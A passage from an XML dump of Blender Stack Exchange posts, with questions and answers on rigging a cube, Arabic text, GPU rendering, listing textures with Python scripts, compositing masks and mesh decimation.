LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-11-25T21:30:31.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5115" PostTypeId="1" CreationDate="2013-11-25T18:08:37.200" Score="5" ViewCount="2384" Body="&lt;p&gt;How to rig a cube so that the corners of the cube can twist and bend? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will hopefully have a face too.&lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="29301" LastEditDate="2018-10-17T17:32:31.913" LastActivityDate="2018-10-17T17:32:31.913" Title="How can I rig a cube in Blender so that it bends and twists?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5116" PostTypeId="2" ParentId="5115" CreationDate="2013-11-25T19:24:17.643" Score="6" Body="&lt;p&gt;Ok, Here are the simple steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Simple Cube and Subdivide it twice. (&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Select all&lt;/em&gt;, &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Subdivide&lt;/em&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YciSw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale it 2 times (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;)&#xA;and Add a Single Bone (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Armature &gt; Single Bone&lt;/em&gt;).&#xA;Rename it to Root in (&lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;)&gt; Item&lt;/em&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fyX5b.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;In edit Mode add 8 child bones (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) to root with tips facing the corners of the cube.&#xA;Turn on snapping (hold &lt;kbd&gt;Ctrl&lt;/kbd&gt;) to precisely move them to corners. Create one bone first, snap and place at a corner, then simply duplicate (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) and rotate (&lt;kbd&gt;R&lt;/kbd&gt;). Don't forget to select rootbone as parent before duplicating.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ihvba.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;In object mode, parent your cube object to the armature (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;). You are ready to animate. All corners work. Add more subdivisions for fine movement.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B7Jdu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="599" LastEditDate="2013-11-25T21:08:44.483" LastActivityDate="2013-11-25T21:08:44.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5117" PostTypeId="2" ParentId="3073" CreationDate="2013-11-25T23:10:50.757" Score="-1" Body="&lt;p&gt;There are a number of solutions. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the desired objects, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to link materials data, then go to the material tab of the one object you want to be different and click the number next to the material name to make a &lt;em&gt;single-user copy&lt;/em&gt;. Then it can be whatever you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You probably can join and separate, you just have to replace your object origins after you separate: select all, &lt;em&gt;objects-&gt;transform-&gt;origin to geometry&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your user settings, you can specify what gets copied when you duplicate an object, including &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; which makes a linked copy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are many options, you just have to understand how they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lemme know if I can clarify anything.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="599" LastEditDate="2013-11-25T23:13:30.090" LastActivityDate="2013-11-25T23:13:30.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5118" PostTypeId="2" ParentId="3522" CreationDate="2013-11-25T23:59:23.990" Score="18" Body="&lt;p&gt;First of all, Blender does &lt;strong&gt;not&lt;/strong&gt; support Right-to-Left text rendering, however there are ways to use a wide variety of character sets.&lt;/p&gt;&#xA;&lt;h1&gt;In a 3D text object:&lt;/h1&gt;&#xA;&lt;p&gt;The default &lt;em&gt;Bfont&lt;/em&gt; has a very limited character set which does not include arabic.&lt;br /&gt;&#xA;To add arabic text to a 3D text object, you need to use a font that has the relevant glyphs (e.g. a &lt;a href=&quot;http://en.wikipedia.org/wiki/Unicode_font&quot; rel=&quot;nofollow noreferrer&quot;&gt;unicode&lt;/a&gt; font).&#xA;Once you find a font that contains arabic characters, you need to load it into blender.&lt;/p&gt;&#xA;&lt;p&gt;Note that you cannot use &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_font#Bitmap_fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitmap fonts&lt;/a&gt;, as blender needs vector data for generating curves.&lt;/p&gt;&#xA;&lt;p&gt;##Loading a font:&#xA;You can &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/texts/properties.html#font&quot; rel=&quot;nofollow noreferrer&quot;&gt;load a font into blender&lt;/a&gt; from the &lt;em&gt;Object data &amp;gt; Font panel&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a text object &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Text&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the text object selected, click the file icon for the appropriate styling (e.g. regular, bold, etc.) in &lt;em&gt;Properties &amp;gt; Object Data &amp;gt; Font&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wlArf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Navigate to a font file (&lt;code&gt;.ttf&lt;/code&gt; &lt;code&gt;.otf&lt;/code&gt; etc.)  on your system and click &lt;em&gt;Open Font&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jk0pX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The font should now be used for the active text object.&lt;/p&gt;&#xA;&lt;p&gt;##Entering characters:&lt;/p&gt;&#xA;&lt;p&gt;If you don't have a keyboard that has Arabic characters, here are some alternate ways to input text:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;method one:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the text object and enter edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;. You should see a bar appear that indicates the location of the cursor:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NVVtM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Delete the existing characters (&lt;kbd&gt;Backspace&lt;/kbd&gt;) and enter a character. You should see a text field appear in the &lt;em&gt;Redo menu&lt;/em&gt; at the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwDBF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select the text box and paste the your text into it, then press &lt;kbd&gt;Enter&lt;/kbd&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/teayn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that you can enable &lt;em&gt;International fonts&lt;/em&gt; in &lt;em&gt;User preferences &amp;gt; System&lt;/em&gt; to display arabic charecters in the UI, making the arabic characters visible in the text field:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9vXm6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;More about this later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method two:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/3544/599&quot;&gt;mentioned by kivig&lt;/a&gt;, there is a &lt;em&gt;Paste from file&lt;/em&gt; feature.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the text object and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;Paste file&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Text&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTby6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Navigate to a text file containing the text you wish to put in the text object and press &lt;em&gt;Paste File&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;In the Interface:&lt;/h1&gt;&#xA;&lt;p&gt;You can enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System#International_Fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;International Fonts&lt;/em&gt;&lt;/a&gt; in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; User preferences &amp;gt; System&lt;/em&gt; to display arabic characters:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMwrp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This also enables options to translate the UI into many languages, including arabic. See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Internationalization&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more details:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;From version 2.60, Blender supports international fonts and a range of&#xA;language options for the Interface and Tooltips. To enable it, open&#xA;the &lt;em&gt;User Preferences&lt;/em&gt; window, &lt;em&gt;System&lt;/em&gt; tab, and toggle the &lt;em&gt;International&#xA;Fonts&lt;/em&gt; option in the bottom right-hand corner.&lt;/p&gt;&#xA;&lt;p&gt;This displays three new settings:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Language&lt;/em&gt;&lt;br /&gt;&#xA;drop-down menu where you can select your preferred language.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Interface&lt;/em&gt;&lt;br /&gt;&#xA;to translate the User Interface itself (e.g. controls and menus).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Tooltips&lt;/em&gt;&lt;br /&gt;&#xA;to translate tooltips.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-13T10:26:17.133" LastActivityDate="2020-10-13T10:26:17.133" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5120" PostTypeId="1" CreationDate="2013-11-26T09:08:28.383" Score="1" ViewCount="5133" Body="&lt;p&gt;I am struggling for a week now, trying my blender to work with CUDA GPU Cyclea Rendering, did so many fresh installation, still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current situation:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fresh install of Blender 2.69 (from repository )&#xA;Installed Nvidia GeForce GT 640 driver from official website using text base terminal.&#xA;Installed CUDA 5.5 from official website using text base terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My system:&lt;/strong&gt;&lt;br&gt;&#xA;Intel core i7, nvidia 640, OS ubuntu 12.04 64bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I want to achieve:&lt;/strong&gt;&lt;br&gt;&#xA;I Want to run blender with CUDA GPU cycles rendering.&lt;br&gt;&#xA;I also want to run some program which requires 32bit lib installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Blender works fine, I can see the CUDA option but when I try to render using Cycles GPU render it does not work, no rendered image is produced.&lt;/li&gt;&#xA;&lt;li&gt;Other program which needs 32bit lib does not work, it says it requires 32 bit lib, when I try to install that 32 bit lib it says its already there.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;any help will be highly appreciated. thanks.&lt;/p&gt;&#xA;" OwnerUserId="1689" LastEditorUserId="599" LastEditDate="2013-11-26T09:33:35.653" LastActivityDate="2018-02-15T14:32:59.803" Title="Cycles GPU render does not work" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5121" PostTypeId="1" AcceptedAnswerId="5138" CreationDate="2013-11-26T12:16:58.670" Score="4" ViewCount="5835" Body="&lt;p&gt;How can I find out the name of a texture linked to an object? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an image operator to find this out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched in forums but wasn't able to find a working script, I tried &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-104065.html&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import Blender&#xA;from Blender import*&#xA;img = ''&#xA;sel = bpy.context.object.name&#xA;if sel:&#xA;me = sel[0].getData(mesh=True)&#xA;for f in me.faces:&#xA;    if f.image:&#xA;        img = f.image.name&#xA;        print (img)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code doesn't work in my python console with Blender 2.68.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How could we find what are all the images in an object and its name and path?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="12" LastEditDate="2013-11-26T23:31:44.267" LastActivityDate="2013-11-27T06:29:11.887" Title="Find the name of textures linked to an object in python?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5123" PostTypeId="5" CreationDate="2013-11-26T15:11:57.270" Score="0" Body="" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-26T15:11:57.270" LastActivityDate="2013-11-26T15:11:57.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5124" PostTypeId="4" CreationDate="2013-11-26T15:11:57.270" Score="0" Body="For questions that don't admit a definitive answer. Please be specific about what you are after." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-26T15:11:57.270" LastActivityDate="2013-11-26T15:11:57.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5127" PostTypeId="2" ParentId="5121" CreationDate="2013-11-26T17:49:44.687" Score="5" Body="&lt;p&gt;This script will iterate over all objects and print texture names and image name when available, try the dump() method to find out more on attributes you are interested in.&#xA;e.g. &lt;code&gt;dump(mtex_slot)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def dump(obj):&#xA;   for attr in dir(obj):&#xA;       if hasattr(obj, attr):&#xA;           print(&quot;obj.%s = %r&quot; % (attr, getattr(obj, attr)))&#xA;&#xA;print(&quot;\n\nObjects&quot;)                &#xA;&#xA;for ob in bpy.data.objects:&#xA;    print(ob.name)&#xA;    for mat_slot in ob.material_slots:&#xA;        for mtex_slot in mat_slot.material.texture_slots:&#xA;            if mtex_slot:&#xA;                # dump(mtex_slot)&#xA;                print(&quot;\t%s&quot; % mtex_slot)&#xA;                if hasattr(mtex_slot.texture , 'image'):&#xA;                    print(&quot;\t\t%s&quot; % mtex_slot.texture.image.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2013-11-26T19:59:40.640" LastActivityDate="2013-11-26T19:59:40.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5129" PostTypeId="2" ParentId="5121" CreationDate="2013-11-26T20:05:25.907" Score="8" Body="&lt;p&gt;This is a more direct version of the original script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;if obj:&#xA;    me = obj.data&#xA;    if me.uv_textures.active is not None:&#xA;        for tf in me.uv_textures.active.data:&#xA;            if tf.image:&#xA;                img = tf.image.name&#xA;                print(img)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you now need to access the face's image though the &lt;code&gt;uv_textures&lt;/code&gt; data-layer, in this case we assume one exists and choose the active one. &lt;code&gt;me.uv_textures[&quot;UVTex.001&quot;].data&lt;/code&gt; would work too if its present.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2013-11-27T02:17:08.290" LastActivityDate="2013-11-27T02:17:08.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5130" PostTypeId="2" ParentId="3310" CreationDate="2013-11-26T20:06:32.390" Score="1" Body="&lt;p&gt;I think the problem was with the video settings not matching the render settings. The video was recorded with a cellphone camera, and came out as 24.856 frames per second. Strange indeed.&#xA;If I repeat the process on a list of PNGs, or a video shot with a decent camera that produces a decent frame rate, this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the helpful comments.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastActivityDate="2013-11-26T20:06:32.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5131" PostTypeId="1" CreationDate="2013-11-26T20:38:37.830" Score="8" ViewCount="4548" Body="&lt;p&gt;I'm trying to use a mask to hide a part of a render layer, so that when the render layer is shown over a movie, some parts in the movie will appear to be in front of the render layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, assume I want to add a box to this image, so that it would look like it's behind the person:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkKKm.jpg&quot; alt=&quot;Standing person&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the following simple object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Votzy.jpg&quot; alt=&quot;Simple box in Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I render the object, it looks great - the object is solid, everything else is transparent (I didn't use any 'sky'):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwbWx.jpg&quot; alt=&quot;Rendered box&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I create a mask to describe the standing person (or at least the part that would otherwise be covered by the box):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0pBb.jpg&quot; alt=&quot;Mask over person&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want now is to create a &quot;hole&quot; in the rendered box, so that when I use Alpha-over, the box look as if it's behind the person, but I can't find an easy way to do that. My first guess was to use 'Set alpha' to apply the mask (inverted) as an alpha for the rendered layer, but this doesn't look good:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZjNqz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mask did create a &quot;hole&quot; where it should, but now all the other pixels are not transparent. How can I &quot;retain&quot; the transparent pixels while setting more pixels to be transparent based on the mask (use it as a matte)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I can do this with (I'm ashamed to say) some math work on the alpha channel, but it just doesn't seem right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gaAyY.jpg&quot; alt=&quot;Correct compositing, but complex&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, and sorry for the [oh so] long question.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastEditorUserId="2217" LastEditDate="2014-07-07T16:16:27.650" LastActivityDate="2018-02-27T10:11:07.703" Title="Using mask as a garbage matte to hide an object" Tags="&lt;compositor&gt;&lt;masking&gt;&lt;transparency&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5132" PostTypeId="2" ParentId="5131" CreationDate="2013-11-26T21:01:19.130" Score="3" Body="&lt;p&gt;How about something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZSdW2.png&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mix the footage and the CGI using the (inverted) mask as a factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result (I didn't have any live footage on my computer... so here's a red cube added to SSBB):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yPDGQ.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-11-26T22:45:48.367" LastActivityDate="2013-11-26T22:45:48.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5133" PostTypeId="2" ParentId="5131" CreationDate="2013-11-26T21:08:20.853" Score="8" Body="&lt;p&gt;In your first attempt you are &lt;em&gt;replacing&lt;/em&gt; the original alpha with the mask, you need to &lt;em&gt;combine&lt;/em&gt; the original alpha (the render) with the new alpha (the mask):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HW6TD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would result in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TPbf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on this render and mask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AO46R.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WLbLM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's essentially what you're doing in your solution that doesn't 'seem right'. This is just a slightly simpler way of doing that.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-11-26T21:17:14.863" LastActivityDate="2013-11-26T21:17:14.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5134" PostTypeId="2" ParentId="5131" CreationDate="2013-11-26T21:22:10.760" Score="4" Body="&lt;p&gt;Here are a couple more ways of doing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtwM6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/odmff.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-26T21:22:10.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5136" PostTypeId="1" AcceptedAnswerId="5137" CreationDate="2013-11-27T04:00:28.197" Score="9" ViewCount="5632" Body="&lt;p&gt;I have a 3-D mesh of a human head (mine!), ~100K vertices.  I'm attempting to simulate soundwaves entering the ears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simulator's memory requirement shoots up as the vertex count increases by O(N^2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to massively reduce the vertex count.  However, I need to keep the highest level of detail for the ears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach might be to separate off the ears, and reduce the remaining mesh, then put it back together again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach might be to create a script that receives the xyz coordinates of each ear (maybe I can choose a point right at the entrance to the ear canal) and automatically merges vertices that far away from both foci.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there is another approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do bear in mind that I've only ever use Blender once, and that was for something trivial: changing the file format of a mesh, so please don't hold back!&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="599" LastEditDate="2013-12-16T00:34:31.087" LastActivityDate="2014-10-15T02:13:10.977" Title="Reducing vertex density as distance from point increases" Tags="&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5137" PostTypeId="2" ParentId="5136" CreationDate="2013-11-27T04:48:42.053" Score="9" Body="&lt;p&gt;If all you need is to reduce vertex count, and not care much about the topology, you may consider use Decimate modifier, and control the modifiable area by vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KXCuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the ears, then &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to select the invert part;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;strong&gt;Limited Dissolve&lt;/strong&gt; to dissolve elements for mesh simplification in a relatively cleaner way.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; for further tweaks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jOpbp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: &lt;strong&gt;Limited Dissolve&lt;/strong&gt; gives same result as the Decimate Modifier by using its &lt;strong&gt;Planar&lt;/strong&gt; mode. So you can use both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Head model came from Sintel project)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-27T10:52:29.620" LastActivityDate="2013-11-27T10:52:29.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5138" PostTypeId="2" ParentId="5121" CreationDate="2013-11-27T05:46:41.513" Score="2" Body="&lt;p&gt;From the above two answer I got and This is code I desired to bring out. . . Thanks...This tells the Image name and its path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object&#xA;if ob:&#xA; for mat_slot in ob.material_slots:&#xA;     for mtex_slot in mat_slot.material.texture_slots:&#xA;         if mtex_slot:&#xA;                 if hasattr(mtex_slot.texture , 'image'):&#xA;                 print(&quot;\t\t%s&quot; % mtex_slot.texture.image.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;o/p&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /home/vrmgm102/Desktop/splash.png&#xA;    /home/vrmgm102/Desktop/tree_5/tree_5.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mtex_slot.texture --&gt; to get Texture name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtex_slot.texture.image --&gt; to get Image 